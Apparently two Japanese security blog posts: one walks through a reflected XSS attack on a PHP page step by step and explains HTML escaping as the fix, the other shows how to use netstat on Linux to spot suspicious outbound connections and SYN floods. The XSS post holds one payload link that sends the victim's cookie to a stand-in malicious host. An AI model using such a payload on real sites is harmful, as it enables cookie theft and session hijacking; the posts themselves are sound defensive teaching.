クロスサイトスクリプティング(XSS)の攻撃手法を整理してみた。

クロスサイトスクリプティング(XSS)というWEBサイトに対しての攻撃があるのですが、このXSSの動きを整理してみました。

あるサイトにはテキストの入力欄があり送信ボタンを押すと、入力した文字を画面に表示することができます。この画面表示はPHPプログラム(commit.php)で行われますが、送信フォームからプログラムへのデータの引き渡しは GET メソッドで行われていたとします。

仮に、このサイトにはXSSに対する脆弱性があったものとして(脆弱性の内容は後述)、XSSの攻撃を受けてしまった場合のやりとりは以下のようになります。

①ユーザーが(気づかずに)悪意あるサイトにアクセスします。
②悪意あるサイトからのレスポンスで攻撃対象のサイトへのリンクが表示されます。
③ユーザーがそのリンクをクリックします。
④ブラウザが攻撃対象のサイトへアクセスします。
⑤攻撃対象のサイトからレスポンスが返されます。
⑥仕込まれたJavaScriptがブラウザ上で実行されます。
⑦ブラウザにある情報(クッキー)が盗まれてしまいます。

①〜⑦の順に説明します。

[広告]

クロスサイトスクリプティングによる攻撃手法

■①ユーザーが(気づかずに)悪意あるサイトにアクセスします。

ブラウザがHTTPで悪意あるサイトにアクセスします。

■②悪意あるサイトからのレスポンスで攻撃対象のサイトへのリンクが表示されます。

悪意あるサイトからHTMLで結果が返されてブラウザが画面表示します。

■③ユーザーがそのリンクをクリックします。

画面表示されているリンクのHTMLが以下であったとします(ここに攻撃コードが埋め込まれています)。

<a href=”http://www.target.com/commit.php?data=<script>location.replace(‘http://www.malicious.com/cgi-bin/abc.cgi?cookie=’ + document.cookie);</script>“>クリック!</a>

このHTMLの説明です。

攻撃対象のサイトでは GET メソッドでPHPプログラムに入力データの引き渡しを行っているので、クエリストリングに入力データを設定すれば同じ結果になります。これを利用してアンカータグで攻撃対象のサイトへのリンクを指定していますが、そのリンクにはクエリストリングが付与されています(?data=・・のところ)。そして、入力データの内容は太字部分になります。

太字部分ですが、JavaScriptのコードです。攻撃対象のサイトのクッキーを取得(document.cookie)した上でcookie変数に格納し(?cookie=・・のところ)、悪意のあるサイトのabc.cgiプログラムに転送(location.replace・・)しなさいという意味になります。

ユーザーがこのリンクを(運悪く)クリックします。

■④ブラウザが攻撃対象のサイトへアクセスします。

HTTPで攻撃対象のサイトにアクセスします。

■⑤攻撃対象のサイトからレスポンスが返されます。

攻撃対象のサイトからHTMLで結果が返されてブラウザが画面表示します。JavaScriptのコードが含まれています(③の太字部分です)。

■⑥仕込まれたJavaScriptがブラウザ上で実行されます。

画面表示しようとした際にJavaScriptのコードがブラウザ上で実行されてしまいます。

■⑦ブラウザにある情報(クッキー)が盗まれてしまいます。

攻撃対象のサイトのクッキーが、悪意あるサイトに渡ってしまいます。クッキーにセッションIDが格納されていた場合は「なりすまし」をされてしまう恐れがあります。

[広告]

対策はどうしたらよいか?

そもそもXSSは外部から攻撃コードを送り込む攻撃です。ですので送り込まれてきたデータの入力チェックが必要です。XSSの攻撃を受けるサイトの一番の問題は「仕込まれたデータ(JavaScript等)がブラウザ上で実行されてしまう」点にあります。本来であればJavaScriptのコードも文字列として画面表示するべきです。どうしたらよいかというと、⑤の際にJavaScriptのコードを無害化(文字列の扱いとして)ブラウザに返すことが必要です。この無害化することをサニタイジング、無害化する処理をエスケープ処理と呼んでいます。以下は、エスケープ処理の例です。

& → &amp;
< → &lt;
> → &gt;
" → &quot;(ダブルクォート)
' → &#39;(シングルクォート)

エスケープ処理を施したHTMLはブラウザで文字列として認識されます。

なお、今回の例ではGETメソッドでPHPプログラムにデータの引き渡しの例を説明しました。POSTに変えたら大丈夫じゃないか?と思われるかもしれませんがPOSTでもJavaScriptを実行させるコードを書けば同じことです。対策としてはやはりサニタイジングを行うことが必要です。

次回は、クロスサイトリクエストフォージェリ(CSRF)について書いてみようと思います。

netstatで外部との不正な通信を見極める(Linux)。

Linuxでもnetstatコマンドが使えます。windowsとオプションの指定が異なるので、その差異を書いてみます。前回の「netstatで外部との不正な通信を見極める(windows)。」と同等のコマンドとするには、以下のようにします。rootユーザで行ってください。

# netstat -npt

  • -n:名前のレゾルブをしない(windowsの「-n」オプションと同等)。
  • -p:ソケットのPID/プログラム名を表示する(windowsの「-b」オプションと同等)。root権限が必要。
  • -t:tcpプロトコルの表示。udpの場合は「u」指定(windowsの「-p」オプションと同等)。

また、Linuxでも待受状態(リッスンポート)も表示したい場合は「-a」オプションを追加することで表示可能です。

実行した結果は以下です。

このPC(OSにubuntuを使用)ではApacheを立ち上げていたため、PC内でHTTP通信(ポート80への通信)が行われていたようです。ここで内部と判断しているのはIPアドレスが「127.0.0.1」となっているためです。「127.0.0.1」はループバックアドレスで自身のIPアドレスを示します。

前回のwindowsでnetstatを試したときに「-n」オプションをつけている理由を書いていなかったのですが、「-n」オプションをつけることによって(つまり、IPアドレスを見ることによって)、通信先が内部のアドレスか外部のアドレスか自分自身かを見極めることができます。家庭で使用しているPCだと家でネットワークを組んでいることはあまりないかと思うのでほぼほぼ外部との通信になるかと思いますが、会社では社内ネットワークと社外とのやり取りが発生するので内部での通信か外部との通信かを見極めるのは大切です。社内ネットワークでの通信なら問題ないですが、知らないうちにPCが外部と通信しているようであれば、情報漏えいの可能性が出てしまうからです。

では、IPアドレスでどのように内部向け/外部向けを判断するかというと、IPアドレスにはインターネットで使用するグローバルアドレスとインターネットでは使用しない(家庭や会社内で使用する)プライベートアドレスが決まっているため、それで判断します。見分け方はプラベートアドレスかどうかです。プラベートアドレスでないものはグローバルアドレスになります。

■プライベートアドレスの範囲

  • 10.0.0.0~10.255.255.255
  • 172.16.0.0~172.31.255.255
  • 192.168.0.0~192.168.255.255

会社内で使用するPCのIPアドレスは上記の範囲に入っているはずです。社内で使うPCがプライベートアドレスを持つ機器と通信している場合は問題ないですが、グローバルアドレスをもつサーバーと通信している場合は確認してみたほうがいいかもしれません。

で、先程の結果は自身のApacheとの通信だったので、ubuntuのFirefoxでGoogleの検索ページを開いたときにnetstatコマンドを打ちました。その結果が以下です(上がGoogleの検索ページを開いた直後、下がしばらく立ってから)。



状態が「ESTABLISHED」から「TIME_WAIT」にかわっています。検索ページを開いた直後にGoogleのサーバーと通信を確立(ESTABLISHED)し、必要なコンテンツを取得後に終了待ち(TIME_WAIT)の状態になっています。TCPではこのように通信の状態を持っています。netstatコマンドを打ったときに何らかのプロセスが外部との通信で「ESTABLISHED」の状態を長く続けているようであれば、疑ったほうが良いかと思います。

今までクライアントとなるPCの話でしたが、インターネットに公開しているサーバーでもnetstatコマンドは使えます。インターネット上でWEBサーバーを稼働させている場合はクライアントとの通信で「ESTABLISHED」の状態がいくつかできるのですが、たまに「SYN_RECV」という中途半端な状態にさせられるときがあります(「SYN_RECV」は「ESTABLISHED」になる前の状態)。これはTCPで通信を始める際に3ウェイハンドシェイクという3回のやりとりをサーバーとクライアントで行うのですが、クライアントが途中でやりとりを中断してしまうことで起きます。そうするとサーバーはずっとクライアントからの返事を待ち続けサーバーのリソースを使い続けます。クライアントはこの状態をいくつも作らせサーバー側のリソースを枯渇させます。SYN flood攻撃 と呼ばれるものです。WEBサーバーで「SYN_RECV」を見つけたら、攻撃されていることを考えたほうがいいかもしれません。